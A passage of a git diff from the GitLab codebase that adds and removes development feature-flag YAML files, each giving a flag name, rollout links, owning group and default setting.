@@ -0,0 +1,7 @@
+---
+name: allow_group_deploy_token
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/allow_possible_spam.yml b/config/feature_flags/development/allow_possible_spam.yml
new file mode 100644
index 00000000000..658e775af91
--- /dev/null
+++ b/config/feature_flags/development/allow_possible_spam.yml
@@ -0,0 +1,7 @@
+---
+name: allow_possible_spam
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/allow_unsafe_ruby_regexp.yml b/config/feature_flags/development/allow_unsafe_ruby_regexp.yml
new file mode 100644
index 00000000000..4d3b13deda2
--- /dev/null
+++ b/config/feature_flags/development/allow_unsafe_ruby_regexp.yml
@@ -0,0 +1,7 @@
+---
+name: allow_unsafe_ruby_regexp
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/api_kaminari_count_with_limit.yml b/config/feature_flags/development/api_kaminari_count_with_limit.yml
new file mode 100644
index 00000000000..0224d606df1
--- /dev/null
+++ b/config/feature_flags/development/api_kaminari_count_with_limit.yml
@@ -0,0 +1,7 @@
+---
+name: api_kaminari_count_with_limit
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/application_settings_tokens_optional_encryption.yml b/config/feature_flags/development/application_settings_tokens_optional_encryption.yml
new file mode 100644
index 00000000000..b9a5b6420d1
--- /dev/null
+++ b/config/feature_flags/development/application_settings_tokens_optional_encryption.yml
@@ -0,0 +1,7 @@
+---
+name: application_settings_tokens_optional_encryption
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/approval_suggestions.yml b/config/feature_flags/development/approval_suggestions.yml
new file mode 100644
index 00000000000..ff66e9fa80c
--- /dev/null
+++ b/config/feature_flags/development/approval_suggestions.yml
@@ -0,0 +1,7 @@
+---
+name: approval_suggestions
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/approvals_commented_by.yml b/config/feature_flags/development/approvals_commented_by.yml
new file mode 100644
index 00000000000..cc34b1d165e
--- /dev/null
+++ b/config/feature_flags/development/approvals_commented_by.yml
@@ -0,0 +1,7 @@
+---
+name: approvals_commented_by
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/archive_rate_limit.yml b/config/feature_flags/development/archive_rate_limit.yml
new file mode 100644
index 00000000000..56e9fcd3f8d
--- /dev/null
+++ b/config/feature_flags/development/archive_rate_limit.yml
@@ -0,0 +1,7 @@
+---
+name: archive_rate_limit
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/artifacts_management_page.yml b/config/feature_flags/development/artifacts_management_page.yml
new file mode 100644
index 00000000000..94d99974859
--- /dev/null
+++ b/config/feature_flags/development/artifacts_management_page.yml
@@ -0,0 +1,7 @@
+---
+name: artifacts_management_page
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/async_commit_diff_files.yml b/config/feature_flags/development/async_commit_diff_files.yml
new file mode 100644
index 00000000000..90aed05e12a
--- /dev/null
+++ b/config/feature_flags/development/async_commit_diff_files.yml
@@ -0,0 +1,7 @@
+---
+name: async_commit_diff_files
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/async_update_pages_config.yml b/config/feature_flags/development/async_update_pages_config.yml
deleted file mode 100644
index 4408197f287..00000000000
--- a/config/feature_flags/development/async_update_pages_config.yml
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: async_update_pages_config
-introduced_by_url:
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/230695
-group: 'team::Scalability'
-type: development
-default_enabled: false
diff --git a/config/feature_flags/development/auto_create_cluster_management_project.yml b/config/feature_flags/development/auto_create_cluster_management_project.yml
new file mode 100644
index 00000000000..ca87e401d4a
--- /dev/null
+++ b/config/feature_flags/development/auto_create_cluster_management_project.yml
@@ -0,0 +1,7 @@
+---
+name: auto_create_cluster_management_project
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/auto_devops_banner_disabled.yml b/config/feature_flags/development/auto_devops_banner_disabled.yml
new file mode 100644
index 00000000000..b74d3c723ee
--- /dev/null
+++ b/config/feature_flags/development/auto_devops_banner_disabled.yml
@@ -0,0 +1,7 @@
+---
+name: auto_devops_banner_disabled
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/backfill_partitioned_audit_events.yml b/config/feature_flags/development/backfill_partitioned_audit_events.yml
new file mode 100644
index 00000000000..ae986c941cb
--- /dev/null
+++ b/config/feature_flags/development/backfill_partitioned_audit_events.yml
@@ -0,0 +1,7 @@
+---
+name: backfill_partitioned_audit_events
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/batch_suggestions.yml b/config/feature_flags/development/batch_suggestions.yml
new file mode 100644
index 00000000000..0ef3c7df01e
--- /dev/null
+++ b/config/feature_flags/development/batch_suggestions.yml
@@ -0,0 +1,7 @@
+---
+name: batch_suggestions
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/bitbucket_server_user_mapping_by_username.yml b/config/feature_flags/development/bitbucket_server_user_mapping_by_username.yml
new file mode 100644
index 00000000000..3875cce4d28
--- /dev/null
+++ b/config/feature_flags/development/bitbucket_server_user_mapping_by_username.yml
@@ -0,0 +1,7 @@
+---
+name: bitbucket_server_user_mapping_by_username
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36885
+rollout_issue_url:
+group: group::import
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/block_anonymous_global_searches.yml b/config/feature_flags/development/block_anonymous_global_searches.yml
new file mode 100644
index 00000000000..527e99ad8a8
--- /dev/null
+++ b/config/feature_flags/development/block_anonymous_global_searches.yml
@@ -0,0 +1,7 @@
+---
+name: block_anonymous_global_searches
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41041
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/244276
+group: group::global search
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/boards_with_swimlanes.yml b/config/feature_flags/development/boards_with_swimlanes.yml
new file mode 100644
index 00000000000..e2db136b45c
--- /dev/null
+++ b/config/feature_flags/development/boards_with_swimlanes.yml
@@ -0,0 +1,7 @@
+---
+name: boards_with_swimlanes
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/branch_list_keyset_pagination.yml b/config/feature_flags/development/branch_list_keyset_pagination.yml
new file mode 100644
index 00000000000..11975c67561
--- /dev/null
+++ b/config/feature_flags/development/branch_list_keyset_pagination.yml
@@ -0,0 +1,7 @@
+---
+name: branch_list_keyset_pagination
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/branch_push_merge_commit_analyze.yml b/config/feature_flags/development/branch_push_merge_commit_analyze.yml
new file mode 100644
index 00000000000..f5a695a9ce9
--- /dev/null
+++ b/config/feature_flags/development/branch_push_merge_commit_analyze.yml
@@ -0,0 +1,7 @@
+---
+name: branch_push_merge_commit_analyze
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/broadcast_issue_updates.yml b/config/feature_flags/development/broadcast_issue_updates.yml
new file mode 100644
index 00000000000..2db27dfb2ed
--- /dev/null
+++ b/config/feature_flags/development/broadcast_issue_updates.yml
@@ -0,0 +1,7 @@
+---
+name: broadcast_issue_updates
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/build_service_proxy.yml b/config/feature_flags/development/build_service_proxy.yml
new file mode 100644
index 00000000000..165e3c15f81
--- /dev/null
+++ b/config/feature_flags/development/build_service_proxy.yml
@@ -0,0 +1,7 @@
+---
+name: build_service_proxy
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/builds.yml b/config/feature_flags/development/builds.yml
new file mode 100644
index 00000000000..6c17f2eb962
--- /dev/null
+++ b/config/feature_flags/development/builds.yml
@@ -0,0 +1,7 @@
+---
+name: builds
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/bulk_update_health_status.yml b/config/feature_flags/development/bulk_update_health_status.yml
new file mode 100644
index 00000000000..5553f2e077f
--- /dev/null
+++ b/config/feature_flags/development/bulk_update_health_status.yml
@@ -0,0 +1,7 @@
+---
+name: bulk_update_health_status
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/burnup_charts.yml b/config/feature_flags/development/burnup_charts.yml
new file mode 100644
index 00000000000..9484af49530
--- /dev/null
+++ b/config/feature_flags/development/burnup_charts.yml
@@ -0,0 +1,7 @@
+---
+name: burnup_charts
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/chatops.yml b/config/feature_flags/development/chatops.yml
new file mode 100644
index 00000000000..c548af50aa5
--- /dev/null
+++ b/config/feature_flags/development/chatops.yml
@@ -0,0 +1,7 @@
+---
+name: chatops
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_artifacts_exclude.yml b/config/feature_flags/development/ci_artifacts_exclude.yml
new file mode 100644
index 00000000000..6e9d27efe42
--- /dev/null
+++ b/config/feature_flags/development/ci_artifacts_exclude.yml
@@ -0,0 +1,7 @@
+---
+name: ci_artifacts_exclude
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_bridge_pipeline_details.yml b/config/feature_flags/development/ci_bridge_pipeline_details.yml
new file mode 100644
index 00000000000..59c5d978eb0
--- /dev/null
+++ b/config/feature_flags/development/ci_bridge_pipeline_details.yml
@@ -0,0 +1,7 @@
+---
+name: ci_bridge_pipeline_details
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41263
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/250683
+group: group::memory
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_build_metadata_config.yml b/config/feature_flags/development/ci_build_metadata_config.yml
new file mode 100644
index 00000000000..add7c963272
--- /dev/null
+++ b/config/feature_flags/development/ci_build_metadata_config.yml
@@ -0,0 +1,7 @@
+---
+name: ci_build_metadata_config
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_bulk_insert_on_create.yml b/config/feature_flags/development/ci_bulk_insert_on_create.yml
new file mode 100644
index 00000000000..3227497ecfc
--- /dev/null
+++ b/config/feature_flags/development/ci_bulk_insert_on_create.yml
@@ -0,0 +1,7 @@
+---
+name: ci_bulk_insert_on_create
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_child_of_child_pipeline.yml b/config/feature_flags/development/ci_child_of_child_pipeline.yml
new file mode 100644
index 00000000000..02122076434
--- /dev/null
+++ b/config/feature_flags/development/ci_child_of_child_pipeline.yml
@@ -0,0 +1,7 @@
+---
+name: ci_child_of_child_pipeline
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41102
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/243747
+group: 'group::continuous integration'
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_daily_code_coverage.yml b/config/feature_flags/development/ci_daily_code_coverage.yml
new file mode 100644
index 00000000000..c9add1bf460
--- /dev/null
+++ b/config/feature_flags/development/ci_daily_code_coverage.yml
@@ -0,0 +1,7 @@
+---
+name: ci_daily_code_coverage
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_disable_validates_dependencies.yml b/config/feature_flags/development/ci_disable_validates_dependencies.yml
new file mode 100644
index 00000000000..65358a04340
--- /dev/null
+++ b/config/feature_flags/development/ci_disable_validates_dependencies.yml
@@ -0,0 +1,7 @@
+---
+name: ci_disable_validates_dependencies
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_disallow_to_create_merge_request_pipelines_in_target_project.yml b/config/feature_flags/development/ci_disallow_to_create_merge_request_pipelines_in_target_project.yml
new file mode 100644
index 00000000000..81a0d014b12
--- /dev/null
+++ b/config/feature_flags/development/ci_disallow_to_create_merge_request_pipelines_in_target_project.yml
@@ -0,0 +1,7 @@
+---
+name: ci_disallow_to_create_merge_request_pipelines_in_target_project
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40724
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/235119
+group: group::progressive delivery
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_download_daily_code_coverage.yml b/config/feature_flags/development/ci_download_daily_code_coverage.yml
new file mode 100644
index 00000000000..d209f2bf9ad
--- /dev/null
+++ b/config/feature_flags/development/ci_download_daily_code_coverage.yml
@@ -0,0 +1,7 @@
+---
+name: ci_download_daily_code_coverage
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_dynamic_child_pipeline.yml b/config/feature_flags/development/ci_dynamic_child_pipeline.yml
new file mode 100644
index 00000000000..ac2afe77743
--- /dev/null
+++ b/config/feature_flags/development/ci_dynamic_child_pipeline.yml
@@ -0,0 +1,7 @@
+---
+name: ci_dynamic_child_pipeline
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_enable_live_trace.yml b/config/feature_flags/development/ci_enable_live_trace.yml
new file mode 100644
index 00000000000..e9fd998f6df
--- /dev/null
+++ b/config/feature_flags/development/ci_enable_live_trace.yml
@@ -0,0 +1,7 @@
+---
+name: ci_enable_live_trace
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_if_parenthesis_enabled.yml b/config/feature_flags/development/ci_if_parenthesis_enabled.yml
deleted file mode 100644
index 5de7f9cf09a..00000000000
--- a/config/feature_flags/development/ci_if_parenthesis_enabled.yml
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: ci_if_parenthesis_enabled
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37574
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/238174
-group: group::ci
-type: development
-default_enabled: true \ No newline at end of file
diff --git a/config/feature_flags/development/ci_instance_variables_ui.yml b/config/feature_flags/development/ci_instance_variables_ui.yml
new file mode 100644
index 00000000000..0671d1a1a7c
--- /dev/null
+++ b/config/feature_flags/development/ci_instance_variables_ui.yml
@@ -0,0 +1,7 @@
+---
+name: ci_instance_variables_ui
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_job_heartbeats_runner.yml b/config/feature_flags/development/ci_job_heartbeats_runner.yml
new file mode 100644
index 00000000000..dcccd1512ed
--- /dev/null
+++ b/config/feature_flags/development/ci_job_heartbeats_runner.yml
@@ -0,0 +1,7 @@
+---
+name: ci_job_heartbeats_runner
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_job_jwt.yml b/config/feature_flags/development/ci_job_jwt.yml
new file mode 100644
index 00000000000..3d18472add4
--- /dev/null
+++ b/config/feature_flags/development/ci_job_jwt.yml
@@ -0,0 +1,7 @@
+---
+name: ci_job_jwt
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_jobs_finder_refactor.yml b/config/feature_flags/development/ci_jobs_finder_refactor.yml
new file mode 100644
index 00000000000..13b8fa03477
--- /dev/null
+++ b/config/feature_flags/development/ci_jobs_finder_refactor.yml
@@ -0,0 +1,7 @@
+---
+name: ci_jobs_finder_refactor
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36622
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/245183
+group: group::continuous integration
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_key_autocomplete.yml b/config/feature_flags/development/ci_key_autocomplete.yml
new file mode 100644
index 00000000000..1c6bfa90a9d
--- /dev/null
+++ b/config/feature_flags/development/ci_key_autocomplete.yml
@@ -0,0 +1,7 @@
+---
+name: ci_key_autocomplete
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_lint_creates_pipeline_with_dry_run.yml b/config/feature_flags/development/ci_lint_creates_pipeline_with_dry_run.yml
new file mode 100644
index 00000000000..8abb52486b6
--- /dev/null
+++ b/config/feature_flags/development/ci_lint_creates_pipeline_with_dry_run.yml
@@ -0,0 +1,7 @@
+---
+name: ci_lint_creates_pipeline_with_dry_run
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_lint_vue.yml b/config/feature_flags/development/ci_lint_vue.yml
new file mode 100644
index 00000000000..832f543ba3d
--- /dev/null
+++ b/config/feature_flags/development/ci_lint_vue.yml
@@ -0,0 +1,7 @@
+---
+name: ci_lint_vue
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42401
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/249661
+group: group::continuous intergration
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/ci_new_artifact_file_reader.yml b/config/feature_flags/development/ci_new_artifact_file_reader.yml
new file mode 100644
index 00000000000..a6e9c67bd7e
--- /dev/null
+++ b/config/feature_flags/development/ci_new_artifact_file_reader.yml
@@ -0,0 +1,7 @@
+---
+name: ci_new_artifact_file_reader
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40268
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/249588
+group: group::pipeline authoring
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_pipeline_latest.yml b/config/feature_flags/development/ci_pipeline_latest.yml
new file mode 100644
index 00000000000..661d0714e53
--- /dev/null
+++ b/config/feature_flags/development/ci_pipeline_latest.yml
@@ -0,0 +1,7 @@
+---
+name: ci_pipeline_latest
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_pipeline_rewind_iid.yml b/config/feature_flags/development/ci_pipeline_rewind_iid.yml
new file mode 100644
index 00000000000..8b6bb378a0a
--- /dev/null
+++ b/config/feature_flags/development/ci_pipeline_rewind_iid.yml
@@ -0,0 +1,7 @@
+---
+name: ci_pipeline_rewind_iid
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml b/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml
new file mode 100644
index 00000000000..eda5ab00ef1
--- /dev/null
+++ b/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml
@@ -0,0 +1,7 @@
+---
+name: ci_pipeline_status_omit_commit_sha_in_cache_key
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_plan_needs_size_limit.yml b/config/feature_flags/development/ci_plan_needs_size_limit.yml
deleted file mode 100644
index 826aeb8f030..00000000000
--- a/config/feature_flags/development/ci_plan_needs_size_limit.yml
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: ci_plan_needs_size_limit
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37568
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/238173
-group: group::ci
-type: development
-default_enabled: true \ No newline at end of file
diff --git a/config/feature_flags/development/ci_raise_job_rules_without_workflow_rules_warning.yml b/config/feature_flags/development/ci_raise_job_rules_without_workflow_rules_warning.yml
new file mode 100644
index 00000000000..d2e25e7bf11
--- /dev/null
+++ b/config/feature_flags/development/ci_raise_job_rules_without_workflow_rules_warning.yml
@@ -0,0 +1,7 @@
+---
+name: ci_raise_job_rules_without_workflow_rules_warning
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml b/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml
new file mode 100644
index 00000000000..76689452b2a
--- /dev/null
+++ b/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml
@@ -0,0 +1,7 @@
+---
+name: ci_runners_tokens_optional_encryption
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml b/config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml
new file mode 100644
index 00000000000..a9a79f80512
--- /dev/null
+++ b/config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml
@@ -0,0 +1,7 @@
+---
+name: ci_skip_persistent_ref_existence_check
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_store_pipeline_messages.yml b/config/feature_flags/development/ci_store_pipeline_messages.yml
new file mode 100644
index 00000000000..c7235ab2196
--- /dev/null
+++ b/config/feature_flags/development/ci_store_pipeline_messages.yml
@@ -0,0 +1,7 @@
+---
+name: ci_store_pipeline_messages
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_synchronous_artifact_parsing.yml b/config/feature_flags/development/ci_synchronous_artifact_parsing.yml
new file mode 100644
index 00000000000..c5d1a44b61f
--- /dev/null
+++ b/config/feature_flags/development/ci_synchronous_artifact_parsing.yml
@@ -0,0 +1,7 @@
+---
+name: ci_synchronous_artifact_parsing
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_update_queues_for_online_runners.yml b/config/feature_flags/development/ci_update_queues_for_online_runners.yml
new file mode 100644
index 00000000000..f2bce6e14b5
--- /dev/null
+++ b/config/feature_flags/development/ci_update_queues_for_online_runners.yml
@@ -0,0 +1,7 @@
+---
+name: ci_update_queues_for_online_runners
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ci_yaml_limit_size.yml b/config/feature_flags/development/ci_yaml_limit_size.yml
new file mode 100644
index 00000000000..06229c08af5
--- /dev/null
+++ b/config/feature_flags/development/ci_yaml_limit_size.yml
@@ -0,0 +1,7 @@
+---
+name: ci_yaml_limit_size
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/cleanup_lfs_during_gc.yml b/config/feature_flags/development/cleanup_lfs_during_gc.yml
new file mode 100644
index 00000000000..836784b1d9c
--- /dev/null
+++ b/config/feature_flags/development/cleanup_lfs_during_gc.yml
@@ -0,0 +1,7 @@
+---
+name: cleanup_lfs_during_gc
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/cluster_management_project.yml b/config/feature_flags/development/cluster_management_project.yml
new file mode 100644
index 00000000000..9d58efd5194
--- /dev/null
+++ b/config/feature_flags/development/cluster_management_project.yml
@@ -0,0 +1,7 @@
+---
+name: cluster_management_project
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/clusters_list_redesign.yml b/config/feature_flags/development/clusters_list_redesign.yml
new file mode 100644
index 00000000000..1a9ad73eb79
--- /dev/null
+++ b/config/feature_flags/development/clusters_list_redesign.yml
@@ -0,0 +1,7 @@
+---
+name: clusters_list_redesign
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/container_registry_api.yml b/config/feature_flags/development/container_registry_api.yml
new file mode 100644
index 00000000000..b0e128f1c3d
--- /dev/null
+++ b/config/feature_flags/development/container_registry_api.yml
@@ -0,0 +1,7 @@
+---
+name: container_registry_api
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/container_registry_cleanup.yml b/config/feature_flags/development/container_registry_cleanup.yml
new file mode 100644
index 00000000000..a03f530b339
--- /dev/null
+++ b/config/feature_flags/development/container_registry_cleanup.yml
@@ -0,0 +1,7 @@
+---
+name: container_registry_cleanup
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/container_registry_expiration_policies_throttling.yml b/config/feature_flags/development/container_registry_expiration_policies_throttling.yml
new file mode 100644
index 00000000000..5169bcdfa28
--- /dev/null
+++ b/config/feature_flags/development/container_registry_expiration_policies_throttling.yml
@@ -0,0 +1,7 @@
+---
+name: container_registry_expiration_policies_throttling
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36319
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/238190
+group: group::package
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/container_registry_fast_tag_delete.yml b/config/feature_flags/development/container_registry_fast_tag_delete.yml
new file mode 100644
index 00000000000..dddac070355
--- /dev/null
+++ b/config/feature_flags/development/container_registry_fast_tag_delete.yml
@@ -0,0 +1,7 @@
+---
+name: container_registry_fast_tag_delete
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/context_commits.yml b/config/feature_flags/development/context_commits.yml
new file mode 100644
index 00000000000..f615846f6c0
--- /dev/null
+++ b/config/feature_flags/development/context_commits.yml
@@ -0,0 +1,7 @@
+---
+name: context_commits
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/create_cloud_run_clusters.yml b/config/feature_flags/development/create_cloud_run_clusters.yml
new file mode 100644
index 00000000000..30894fd2df1
--- /dev/null
+++ b/config/feature_flags/development/create_cloud_run_clusters.yml
@@ -0,0 +1,7 @@
+---
+name: create_cloud_run_clusters
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/dashboard_pipeline_status.yml b/config/feature_flags/development/dashboard_pipeline_status.yml
new file mode 100644
index 00000000000..241f5fea64f
--- /dev/null
+++ b/config/feature_flags/development/dashboard_pipeline_status.yml
@@ -0,0 +1,7 @@
+---
+name: dashboard_pipeline_status
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/deploy_from_footer.yml b/config/feature_flags/development/deploy_from_footer.yml
new file mode 100644
index 00000000000..8e31ab511b6
--- /dev/null
+++ b/config/feature_flags/development/deploy_from_footer.yml
@@ -0,0 +1,7 @@
+---
+name: deploy_from_footer
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/deploy_tokens_api.yml b/config/feature_flags/development/deploy_tokens_api.yml
new file mode 100644
index 00000000000..d8691842822
--- /dev/null
+++ b/config/feature_flags/development/deploy_tokens_api.yml
@@ -0,0 +1,7 @@
+---
+name: deploy_tokens_api
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/design_management_allow_dangerous_images.yml b/config/feature_flags/development/design_management_allow_dangerous_images.yml
new file mode 100644
index 00000000000..d1d09f154a4
--- /dev/null
+++ b/config/feature_flags/development/design_management_allow_dangerous_images.yml
@@ -0,0 +1,7 @@
+---
+name: design_management_allow_dangerous_images
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/design_management_reference_filter_gfm_pipeline.yml b/config/feature_flags/development/design_management_reference_filter_gfm_pipeline.yml
new file mode 100644
index 00000000000..e07b621ed23
--- /dev/null
+++ b/config/feature_flags/development/design_management_reference_filter_gfm_pipeline.yml
@@ -0,0 +1,7 @@
+---
+name: design_management_reference_filter_gfm_pipeline
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/design_management_todo_button.yml b/config/feature_flags/development/design_management_todo_button.yml
new file mode 100644
index 00000000000..218ddf9f65c
--- /dev/null
+++ b/config/feature_flags/development/design_management_todo_button.yml
@@ -0,0 +1,7 @@
+---
+name: design_management_todo_button
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39935
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/245074
+group: group::knowledge
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml b/config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml
new file mode 100644
index 00000000000..193579cd11b
--- /dev/null
+++ b/config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml
@@ -0,0 +1,7 @@
+---
+name: disable_metric_dashboard_refresh_rate
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/drop_license_management_artifact.yml b/config/feature_flags/development/drop_license_management_artifact.yml
new file mode 100644
index 00000000000..59d749154b5
--- /dev/null
+++ b/config/feature_flags/development/drop_license_management_artifact.yml
